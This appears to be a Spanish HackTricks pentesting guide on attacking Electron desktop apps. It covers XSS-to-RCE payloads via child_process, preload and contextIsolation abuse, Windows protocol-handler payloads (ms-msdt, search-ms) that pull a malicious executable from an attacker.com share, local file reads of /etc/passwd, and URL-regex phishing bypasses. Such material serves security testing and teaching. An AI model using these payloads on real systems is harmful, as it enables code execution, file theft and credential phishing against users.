hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

329 lines
18 KiB
Markdown

# Aplicaciones de Escritorio Electron
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introducción
Electron se **basa en Chromium**, pero no es un navegador. Ciertos principios y mecanismos de seguridad implementados por navegadores modernos no están presentes.\
Podrías ver a Electron como una aplicación local de backend+frontend donde **NodeJS** es el **backend** y **chromium** es el **frontend**.
Usualmente podrías encontrar el código de la aplicación electron dentro de una aplicación `.asar`, para obtener el código necesitas extraerlo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una app Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron tiene 2 tipos de procesos:
* Proceso Principal (tiene acceso completo a NodeJS)
* Proceso de Renderizado (debería tener acceso restringido a NodeJS por razones de seguridad)
![](<../../../.gitbook/assets/image (307) (5) (1).png>)
Un **proceso de renderizado** será una ventana del navegador cargando un archivo:
```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
La configuración del **proceso de renderizado** puede ser **configurada** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si las **configuraciones están correctamente establecidas**.
La aplicación de escritorio podría tener acceso al dispositivo del usuario a través de las APIs de Node. Las siguientes dos configuraciones son responsables de proporcionar mecanismos para **evitar que el JavaScript de la aplicación tenga acceso directo al dispositivo del usuario** y a los comandos a nivel de sistema.
* **`nodeIntegration`** - está `off` por defecto. Si está activado, permite acceder a las características de node desde el proceso de renderizado.
* **`contextIsolation`** - está `on` por defecto. Si está activado, los procesos principal y de renderizado no están aislados.
* **`preload`** - vacío por defecto.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por defecto. Restringirá las acciones que NodeJS puede realizar.
* Integración de Node en Workers
* **`nodeIntegrationInSubframes`**- está `off` por defecto.
* Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las APIs de **Node.js** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
* Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe
Ejemplo de configuración:
```javascript
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
```
Algunos **RCE payloads** de [aquí](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
```
### Captura de tráfico
Modifica la configuración de start-main y añade el uso de un proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Inyección de Código Local en Electron
Si puedes ejecutar localmente una App de Electron, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
{% endcontent-ref %}
## RCE: XSS + nodeIntegration
Si **nodeIntegration** está configurado en **on**, el JavaScript de una página web puede usar las características de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
```html
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
```
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
El script indicado en esta configuración se **carga antes que otros scripts en el renderizador**, por lo que tiene **acceso ilimitado a las APIs de Node**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Por lo tanto, el script puede exportar características de node a páginas:
{% code title="preload.js" %}
```javascript
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
```
```
{% endcode %}
{% code title="index.html" %}
```
```html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
```
{% endcode %}
{% hint style="info" %}
**Si `contextIsolation` está activado, esto no funcionará**
{% endhint %}
## RCE: XSS + contextIsolation
El _**contextIsolation**_ introduce **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
Si los contextos no están aislados, un atacante puede:
1. Ejecutar **JavaScript arbitrario en el renderizador** (XSS o navegación a sitios externos)
2. **Sobrescribir el método incorporado** que se utiliza en el código de precarga o en el código interno de Electron por su propia función
3. **Desencadenar** el uso de **la función sobrescrita**
4. ¿RCE?
Hay 2 lugares donde se pueden sobrescribir los métodos incorporados: En el código de precarga o en el código interno de Electron:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
{% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
{% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
{% endcontent-ref %}
### Evitar evento de clic
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías ser capaz de evitarlas **haciendo un clic con el botón central** en lugar de un clic izquierdo regular.
```javascript
window.addEventListener('click', (e) => {
```
## RCE a través de shell.openExternal
Si la aplicación de escritorio Electron se implementa con la configuración adecuada de `nodeIntegration`, `contextIsolation`; simplemente significa que **no se puede lograr un RCE del lado del cliente al apuntar a scripts de precarga o código nativo de Electron desde el proceso principal**.
Cada vez que un usuario hace clic en el enlace o abre una nueva ventana, se invocan los siguientes oyentes de eventos:
{% code overflow="wrap" %}
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
{% endcode %}
La aplicación de escritorio **sobrescribe estos listeners** para implementar la propia **lógica de negocio** de la aplicación de escritorio. Durante la creación de nuevas ventanas, la aplicación verifica si el enlace navegado debe abrirse en una ventana o pestaña de la aplicación de escritorio, o si debe abrirse en el navegador web. En nuestro ejemplo, la verificación se implementa con la función `openInternally`, si devuelve `false`, la aplicación asumirá que el enlace debe abrirse en el navegador web utilizando la función `shell.openExternal`.
**Aquí hay un pseudocódigo simplificado:**
![](<../../../.gitbook/assets/image (638) (2) (1) (1).png>)
![](<../../../.gitbook/assets/image (620).png>)
De acuerdo con las mejores prácticas de seguridad de Electron JS, la función `openExternal` **no debe aceptar contenido no confiable** **porque eso podría llevar a RCE abusando de diferentes protocolos** si la aplicación no limita la navegación de los usuarios a través de protocolos como https:// o http://.
Diferentes sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE, para más información sobre ellos consulta [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042) pero aquí tienes algunos ejemplos de Windows:
```html
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
```
Para más información sobre estos ejemplos, consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
## Leer Archivos Internos: XSS + contextIsolation
Si `contextIsolation` está configurado en false, puedes intentar usar \<webview> (similar a \<iframe> pero puede cargar archivos locales) para leer archivos locales y exfiltrarlos: usando algo como **\<webview src=”file:///etc/passwd”>\</webview>:**
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
Otra forma de **leer un archivo interno** de este [**informe**](https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app):
```html
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
```
## **RCE: XSS + Chromium Antiguo**
Si el **chromium** utilizado por la aplicación es **antiguo** y existen **vulnerabilidades conocidas** en él, podría ser posible **explotarlo y obtener RCE a través de un XSS**.\
Puedes ver un ejemplo en este **informe**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **Phishing XSS mediante bypass de regex de URL interna**
Suponiendo que encontraste un XSS pero **no puedes activar RCE ni robar archivos internos**, podrías intentar usarlo para **robar credenciales mediante phishing**.
Primero que nada necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La llamada a **`openInternally`** decidirá si el **enlace** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
En el caso de que la **expresión regular** utilizada por la función sea **vulnerable a omisiones** (por ejemplo, por **no escapar los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **solicitando credenciales** al usuario:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## **Herramientas**
* [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones erróneas y antipatrones de seguridad en aplicaciones basadas en Electron.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un complemento de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceros vulnerables
* [**Electro.ng**](https://electro.ng/): Necesitas comprarlo
## Laboratorios
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
Algunos comandos que te ayudarán con el laboratorio:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **Referencias**
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
* Más investigaciones y artículos sobre la seguridad de Electron en [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>